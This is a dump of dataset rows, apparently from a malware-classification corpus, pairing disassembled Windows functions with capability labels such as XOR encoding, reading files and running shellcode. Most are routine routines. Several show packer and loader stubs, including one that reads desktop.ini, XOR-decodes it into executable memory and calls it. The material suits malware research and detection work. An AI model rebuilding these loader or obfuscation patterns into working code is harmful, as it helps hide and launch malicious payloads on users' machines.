joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x401c66
pop dword [ebp - 0x1c]
mov eax, 0x63636946
sub eax, 0x63234ce0
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xbb99088d
sub dword [ebp - 0x2c], 0x6d46c342
mov dword [ebp - 0x28], 0x2251e6dc
sub dword [ebp - 0x28], 0xf01e9a97
mov dword [ebp - 0x24], 0xb6ddd99a
add dword [ebp - 0x24], 0x956e6a94
mov dword [ebp - 0x20], 0xfc3ac1a7
sub dword [ebp - 0x20], 0xfc3ac1a7
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x11fb13f7
add eax, 0xee451c5d
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x5ffa3297
add dword [ebp - 0x2c], 0x147836bf
mov dword [ebp - 0x28], 0xe80a4cac
sub dword [ebp - 0x28], 0xa69deb37
mov dword [ebp - 0x24], 0x346d1d33
sub dword [ebp - 0x24], 0xd0fdb0c7
mov dword [ebp - 0x20], 0xec1f0329
sub dword [ebp - 0x20], 0xec1f0329
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x25a7afdc
sub eax, 0x25677fb0
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x36166
push 0
call eax
mov ecx, 0xcd8a3957
add ecx, 0x32760d16
xor edx, edx
add edx, eax
mov ebx, 0x407000
add ebx, dword [ebp - 0x1c]
mov edi, 0xb939cb46
add edi, 0xc2da36b4
xor dword [ebp - 8], ecx
mov esi, dword [ebx]
xor esi, edi
sub dword [ebp - 0x14], 0x7c7b4003
mov dword [edx], esi
xor dword [ebp - 0x10], ebx
add edx, 4
add ebx, 0x3725bac2
sub ebx, 0x3725babe
loop 0x401d84
add eax, 0xa9c20784
add eax, 0x563f0503
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x536710
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd9000]
push edi
jmp 0x53672a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x536731
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536720
mov eax, 1
add ebx, ebx
jne 0x536743
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x536754
jne 0x536773
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536773
dec eax
add ebx, ebx
jne 0x536760
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x536738
add ebx, ebx
jne 0x53676f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5367c5
xor ecx, ecx
sub eax, 3
jb 0x53678b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5367fa
sar eax, 1
mov ebp, eax
jmp 0x536796
add ebx, ebx
jne 0x536796
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536764
inc ecx
add ebx, ebx
jne 0x5367a4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x536764
add ebx, ebx
jne 0x5367b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5367a6
jne 0x5367c2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5367a6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5367e4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5367d6
jmp 0x536726
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5367e4
add edi, ecx
jmp 0x536726
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x536802
cmp byte [edi], 0x11
jne 0x536802
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x536807
lea edi, [esi + 0x12f000]
mov eax, dword [edi]
or eax, eax
je 0x53687f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x186d48]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x186ec4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x536834
mov ecx, edi
jns 0x536863
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x186ec8]
or eax, eax
je 0x536879
mov dword [ebx], eax
add ebx, 4
jmp 0x536851
call dword [esi + 0x186ed8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5368b0
cmp al, 0xef
ja 0x5368a3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x536885
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x536892
mov ebp, dword [esi + 0x186ecc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5368e4
sub esp, 0xffffff80
jmp 0x420577
Function at 0x10013998
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x100139a7
pop dword [ebp - 0x1c]
mov eax, 0x1405fce4
sub eax, 0x404c33d
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x72598455
add dword [ebp - 0x2c], 0xdbf8c0f6
mov dword [ebp - 0x28], 0xdced0743
add dword [ebp - 0x28], 0x55464502
mov dword [ebp - 0x24], 0x82196675
add dword [ebp - 0x24], 0xca32ddb9
mov dword [ebp - 0x20], 0xb75faa04
add dword [ebp - 0x20], 0x48a055fc
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x6d353671
add eax, 0xa2ccba33
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x905b91b9
sub dword [ebp - 0x2c], 0x1be92863
mov dword [ebp - 0x28], 0xe9fb2cad
sub dword [ebp - 0x28], 0xa88ecb38
mov dword [ebp - 0x24], 0xe59f579b
add dword [ebp - 0x24], 0x7dd014d1
mov dword [ebp - 0x20], 0x557f0758
sub dword [ebp - 0x20], 0x557f0758
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d14a
push 0
call eax
mov ecx, 0x388e72df
sub ecx, 0x388e22b3
mov edx, eax
mov edi, 0x4dc3ce36
sub edi, 0x3dc13436
add edi, dword [ebp - 0x1c]
mov esi, 0xed784531
sub dword [ebp - 4], 0x37687a1e
mov ebx, dword [edi]
sub dword [ebp - 0x10], ebx
add ebx, esi
xor dword [ebp - 0x10], 0x60bdcb03
mov dword [edx], ebx
add dword [ebp - 0x10], esi
add edx, 4
add edi, 0xb993ec96
sub edi, 0xb993ec92
loop 0x10013abe
add eax, 0x3a0d1184
add eax, 0xc5f421ff
xor ebx, ebx
add ebx, eax
add eax, 0x7254ea6f
add eax, 0x8dab1596
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x1001cc37
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi + 0x2d], 0
jne 0x1001ccba
push ebx
mov ebx, dword [ebp + 0x10]
push edi
push 0
lea eax, [ebp + 0x10]
push eax
push ebx
push dword [ebp + 0xc]
push dword [esi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x1001cc84
mov byte [esi + 0x2d], 0xff
test edi, edi
je 0x1001cc84
cmp edi, ebx
jge 0x1001cc84
mov eax, dword [ebp + 0xc]
mov ecx, ebx
sub ecx, edi
push ecx
add eax, edi
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [esi + 0x18], 0
je 0x1001ccb4
add dword [esi + 0x1c], ebx
cmp dword [esi + 0x1c], 0xffff
jle 0x1001ccb4
xor eax, eax
mov word [esi + 0x1e], ax
mov eax, dword [esi]
push esi
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x18]
mov edx, dword [ecx]
push 1
push dword [esi + 0x20]
push eax
push ecx
call dword [edx + 0xc]
mov edi, dword [ebp + 0x10]
mov eax, edi
pop edi
pop ebx
jmp 0x1001cccc
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret 0xc
Function at 0x1001cf62
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov edi, dword [ebp + 0xc]
cmp byte [0x100269c0], al
je 0x1001cf99
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001cffd
push 0x103
push eax
mov byte [ebp - 0x108], al
lea eax, [ebp - 0x107]
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x20c]
push eax
push edi
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
push ebx
lea eax, [ebp - 0x108]
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001ddeb
leave
ret 0x10

Function at 0x1001d00e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001d03a
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001d06b
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001d069
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001d06b
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1001ddeb
leave
ret 8

Function at 0x1001d106
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x100268b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100269c0], 0
mov eax, dword [ebp + 8]
je 0x1001d12e
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001d148
lea ecx, [ebp - 0x108]
push ecx
push eax
call sym.drvSOFT.x3d_int___stdcall_CmpNameExW_unsigned_short_int_const___unsigned_short_int_const__
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.1001ddeb
leave
ret 4

Function at 0x1001ddeb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100268b0]
jne 0x1001ddf5
repz ret
jmp fcn.1001e62c
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x364a544a
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x2f376d7f
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0xdce100
Capabilities:
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x104
mov ebx, dword [esp + 0x118]
mov ecx, 0x1185fdc
mov edx, 0x1150ff3
call fcn.00dcdfc1
test eax, eax
je 0xdce133
push 0x800
push 0
push ebx
call sub.KERNEL32.dll_LoadLibraryExA
jmp 0xdce17f
mov ebp, esp
push 0x104
push ebp
call sub.KERNEL32.dll_GetSystemDirectoryA
xor esi, esi
test eax, eax
je 0xdce17d
mov edi, eax
push ebx
call fcn.00dc0ca0
add esp, 4
lea ecx, [edi + eax + 2]
cmp ecx, 0x104
ja 0xdce17d
inc eax
mov byte [esp + edi], 0x5c
lea ecx, [esp + edi + 1]
push eax
push ebx
push ecx
call fcn.00dcc890
add esp, 0xc
push 8
push 0
push ebp
call sub.KERNEL32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
add esp, 0x104
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0xdd2dc0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebp
push ebx
push edi
push esi
mov ebx, dword [esp + 0x20]
mov ebp, 0x100000
mov eax, ebx
and eax, 4
shl eax, 0xf
test bl, 8
cmove ebp, eax
push 0x14
call fcn.00dbf520
add esp, 4
test eax, eax
jne 0xdd2df3
mov eax, 0xc
jmp 0xdd2e85
mov esi, eax
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
mov dword [esi], ecx
mov dword [esi + 4], eax
xor ecx, ecx
xor eax, eax
test edi, edi
sete al
mov dword [esi + 8], ecx
test ebp, ebp
mov dword [esi + 0xc], eax
lea edx, [eax*4 + 0x10000]
lea eax, [eax*4]
cmove edx, eax
test bl, 0x10
cmovne edx, eax
push ecx
push edx
push esi
push dword [0x1151478]
push ebp
push ecx
call sub.KERNEL32.dll_CreateThread
test eax, eax
mov dword [esi + 0x10], eax
jne 0xdd2e55
push esi
call fcn.00dbfc80
add esp, 4
mov eax, 0xffff
jmp 0xdd2e85
test bl, 2
je 0xdd2e62
push 2
push eax
call sub.KERNEL32.dll_SetThreadPriority
test edi, edi
jne 0xdd2e81
push dword [esi + 0x10]
call sub.KERNEL32.dll_ResumeThread
mov ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
jne 0xdd2e85
push dword [esi + 0x10]
call sub.KERNEL32.dll_CloseHandle_1
jmp 0xdd2e45
xor eax, eax
mov dword [edi], esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xe18cd0
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
push dword [esp + 0x1c]
call sub.KERNEL32.dll_OutputDebugStringA
push 0x11545bc
call fcn.00dce100
add esp, 4
test eax, eax
je 0xe18d62
mov esi, eax
push 0x11545c9
push eax
call sub.KERNEL32.dll_GetProcAddress
mov ebp, eax
push 0x11545de
push esi
call sub.KERNEL32.dll_GetProcAddress
mov edi, eax
push 0x11545eb
push esi
call sub.KERNEL32.dll_GetProcAddress
test ebp, ebp
je 0xe18d5c
test edi, edi
je 0xe18d5c
mov ebx, eax
test eax, eax
je 0xe18d5c
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x1154601
mov dword [esp + 4], eax
push 0x115460f
push 0
call ebp
test eax, eax
je 0xe18d5c
mov ebp, eax
xor eax, eax
mov ecx, esp
push eax
push ecx
push eax
push 2
push eax
push 0xc0070003
push eax
push 1
push ebp
call edi
push ebp
call ebx
push esi
call sub.KERNEL32.dll_FreeLibrary
push 0x1154617
call fcn.00dce100
add esp, 4
test eax, eax
je 0xe18d99
mov esi, eax
push 0x1154622
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0xe18d93
push 0x10
push 0x115462e
push dword [esp + 0x24]
push 0
call eax
push esi
call sub.KERNEL32.dll_FreeLibrary
call sub.KERNEL32.dll_GetCurrentProcess
push 1
push eax
call sub.KERNEL32.dll_TerminateProcess
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xed2fc0
Capabilities:
Write file on windows

Disassembly:
push ebx
push edi
push esi
push eax
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
push dword [esp + 0x14]
call fcn.00e4e1a0
add esp, 4
mov ebx, esp
mov dword [ebx], 0xffffffff
push 0
push ebx
push edi
push esi
push eax
call sub.KERNEL32.dll_WriteFile
xor ecx, ecx
cmp eax, 1
sbb ecx, ecx
or ecx, dword [ebx]
mov eax, ecx
add esp, 4
pop esi
pop edi
pop ebx
ret

Function at 0xf0fc32
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, ecx
xor ecx, ecx
movzx edx, al
shr eax, 8
inc ecx
xor eax, dword [edx*4 + 0x112994c]
cmp ecx, 4
jne 0xf0fc36
ret
Function at 0xf0fc66
Capabilities:
Get hostname

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20c
mov esi, ecx
mov ecx, dword [esp + 0x224]
cmp dword [esp + 0x220], 0
mov edi, edx
mov byte [esi], 0
je 0xf0fcf3
xor eax, eax
test ecx, ecx
setne al
lea eax, [eax + eax + 5]
mov ecx, esp
lea ebp, [esp + 0xc]
mov dword [ecx], 0x100
push ecx
push ebp
push eax
call sub.KERNEL32.dll_GetComputerNameExW
mov ebx, 0xffff
test eax, eax
je 0xf0fd01
mov ecx, dword [esp]
lea eax, [esp + 8]
add edi, esi
mov dword [eax], ebp
lea edx, [ecx + 1]
lea ecx, [esp + ecx*2 + 0xe]
mov dword [esp], edx
lea edx, [esp + 4]
mov dword [edx], esi
push 0
push edi
push edx
push ecx
push eax
call fcn.00dcc8b0
add esp, 0x14
test eax, eax
jne 0xf0fd01
mov ecx, esi
call fcn.00f0fd45
xor eax, eax
cmp byte [esi], 0
mov ebx, 0xffff
cmovne ebx, eax
jmp 0xf0fd01
mov eax, 6
test ecx, ecx
jne 0xf0fc93
mov ebx, 0x16
mov eax, ebx
add esp, 0x20c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0xf1a150
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
jle 0xf1a23e
push ebp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ecx]
mov ebx, dword [ecx + 0x14]
mov dword [esp + 0x14], edx
mov ebp, dword [ecx + 0xc]
mov esi, dword [ecx + 8]
mov edi, dword [ecx + 4]
mov edx, dword [ecx + 0x1c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 0
mov dword [esp], eax
mov dword [esp + 4], ebx
mov eax, dword [ecx + 0x18]
mov ebx, dword [ecx + 0x10]
mov ecx, dword [esp]
add ecx, esi
mov dword [esp], ecx
mov ecx, ebp
adc edi, ebp
shld ecx, esi, 0xd
shld esi, ebp, 0xd
mov ebp, edx
xor ecx, edi
xor esi, dword [esp]
add ebx, eax
mov dword [esp + 8], ecx
mov ecx, dword [esp + 4]
adc ecx, edx
shld ebp, eax, 0x10
shld eax, edx, 0x10
xor ebp, ecx
mov dword [esp + 0x18], ecx
mov ecx, edi
mov edi, dword [esp]
xor eax, ebx
add ecx, eax
mov edx, ebp
mov dword [esp], ecx
adc edi, ebp
shld edx, eax, 0x15
shld eax, ebp, 0x15
mov ebp, dword [esp + 8]
xor eax, ecx
xor edx, edi
add ebx, esi
mov ecx, dword [esp + 8]
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x18]
adc ebx, dword [esp + 8]
shld ebp, esi, 0x11
shld esi, ecx, 0x11
mov ecx, dword [esp + 0xc]
xor esi, dword [esp + 4]
inc ecx
xor ebp, ebx
cmp ecx, dword [esp + 0x14]
mov dword [esp + 0xc], ecx
jne 0xf1a18d
mov ecx, dword [esp + 0x10]
mov dword [ecx + 8], esi
mov esi, dword [esp]
mov dword [ecx + 0xc], ebp
mov dword [ecx + 4], edi
mov dword [ecx], esi
mov dword [ecx + 0x1c], edx
mov edx, dword [esp + 4]
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], edx
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0xf1a23f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x58
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x6c]
mov esi, dword [ecx + 0x160]
mov eax, dword [esp + 0x70]
cmp dword [ecx + 0x90], edx
mov dword [esp + 0x2c], esi
jne 0xf1a272
lea edi, [ecx + 0x11c]
lea esi, [ecx + 0x120]
jmp 0xf1a27b
mov edi, dword [ecx + 0x128]
lea esi, [edi + 4]
mov dword [edi], eax
lea eax, [ecx + 0x19c]
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x10], esi
mov dword [esp + 8], ecx
mov dword [esp], edi
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x2c]
lea eax, [eax + 0x50]
mov dword [esp + 0x34], eax
Function at 0xf6ec70
Capabilities:
Read file on windows

Disassembly:
push ebx
push edi
push esi
push eax
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
push dword [esp + 0x14]
call fcn.00e4e1a0
add esp, 4
mov ebx, esp
mov dword [ebx], 0xffffffff
push 0
push ebx
push edi
push esi
push eax
call sub.KERNEL32.dll_ReadFile
xor ecx, ecx
cmp eax, 1
sbb ecx, ecx
or ecx, dword [ebx]
mov eax, ecx
add esp, 4
pop esi
pop edi
pop ebx
ret

Function at 0xf6f860
Capabilities:
Encode data using base64

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
mov edi, 0xaaaaaaab
lea eax, [esi + 2]
mul edi
mov eax, 0x54
and edx, 0x7ffffffe
lea edx, [edx + edx + 1]
cmp dword [ecx], edx
jb 0xf6f95e
mov eax, esi
mov ecx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
mul edi
shr edx, 1
xor eax, eax
lea ebp, [edx + edx*2]
mov edx, ecx
test ebp, ebp
je 0xf6f903
movzx edi, byte [ebx]
add eax, 3
shr edi, 2
mov cl, byte [edi + 0x112ce80]
mov byte [edx], cl
movzx ecx, byte [ebx]
movzx edi, byte [ebx + 1]
shl ecx, 4
shr edi, 4
and ecx, 0x30
mov cl, byte [ecx + edi + 0x112ce80]
mov byte [edx + 1], cl
movzx ecx, byte [ebx + 1]
movzx edi, byte [ebx + 2]
shr edi, 6
and ecx, 0xf
mov cl, byte [edi + ecx*4 + 0x112ce80]
mov byte [edx + 2], cl
movzx ecx, byte [ebx + 2]
add ebx, 3
and ecx, 0x3f
mov cl, byte [ecx + 0x112ce80]
mov byte [edx + 3], cl
add edx, 4
cmp eax, ebp
jb 0xf6f8a6
cmp eax, esi
jae 0xf6f951
movzx edi, byte [ebx]
inc eax
xor ebp, ebp
cmp eax, esi
jae 0xf6f915
movzx ebp, byte [ebx + 1]
mov ecx, edi
shl edi, 4
mov ebx, ebp
shr ecx, 2
shr ebx, 4
and edi, 0x30
cmp eax, esi
mov al, byte [ecx + 0x112ce80]
mov byte [edx], al
mov al, byte [ebx + edi + 0x112ce80]
mov byte [edx + 1], al
mov al, 0x3d
jae 0xf6f947
and ebp, 0xf
mov al, byte [ebp*4 + 0x112ce80]
mov byte [edx + 2], al
mov byte [edx + 3], 0x3d
add edx, 4
mov byte [edx], 0
mov ecx, dword [esp + 0x20]
sub edx, dword [esp + 0x1c]
xor eax, eax
mov dword [ecx], edx
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1004ba9
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
test ecx, ecx
mov dword [esp + 8], ecx
jne 0x1004bc2
mov esi, 6
jmp 0x1004ceb
mov eax, 0x10058b0
xor esi, esi
not eax
and eax, 1
mov dword [esp + 0x14], eax
xor ecx, ecx
mov dword [esp + 0xc], esi
mov eax, dword [ecx*4 + 0x112ffc0]
mov edi, 0x10058b0
xor edx, edx
mov esi, dword [ecx*4 + 0x112ffa0]
mov dword [esp + 0x1c], ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov ebp, dword [esp + 4]
add eax, edi
sete dl
or edx, 0x2ac766a0
add edx, 0x288
xor edx, dword [ecx*4 + 0x112ffe0]
mov ecx, edx
and cl, 7
xor ebx, ebx
inc ebx
movzx eax, cl
mov edi, ebx
shl edi, cl
xor cl, 7
shl ebx, cl
movzx ecx, byte [esi + ebp - 1]
bt ecx, eax
jb 0x1004cb8
mov al, byte [esi + ebp - 1]
mov dword [esp], edi
mov ecx, eax
or cl, bl
lock cmpxchg byte [esi + ebp - 1], cl
jne 0x1004c3e
mov ecx, dword [esp]
movzx eax, al
test ebx, eax
je 0x1004c5f
movzx eax, byte [esi + ebp - 1]
test ecx, eax
je 0x1004c54
jmp 0x1004cb8
mov dword [esp + 0x10], ebx
movzx eax, byte [esi + ebp - 1]
test ecx, eax
jne 0x1004cae
lea ecx, [ebp - 4]
shr ecx, 2
je 0x1004ca3
xor eax, eax
mov ebx, esi
mov dword [esp + 0x18], ecx
mov ebp, dword [ebx]
mov ecx, eax
mov edi, edx
inc eax
shl edi, cl
and cl, 0x1f
xor cl, 0x1f
xor ebp, edx
shr edx, cl
mov ecx, dword [esp + 0x18]
mov dword [ebx], ebp
or edx, edi
not ebp
add ebx, 4
imul edx, ebp
cmp eax, ecx
jne 0x1004c7c
mov eax, dword [esp]
mov ebp, dword [esp + 4]
or byte [esi + ebp - 1], al
mov ebx, dword [esp + 0x10]
not bl
and byte [esi + ebp - 1], bl
mov ecx, dword [esp + 0x1c]
inc ecx
cmp ecx, 6
jne 0x1004bd8
mov esi, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esi*4 + 0x112f1ac]
call fcn.0100b875
test eax, eax
jne 0x1004ceb
inc esi
cmp esi, 6
jb 0x1004bd2
xor esi, esi
dec esi
mov eax, esi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret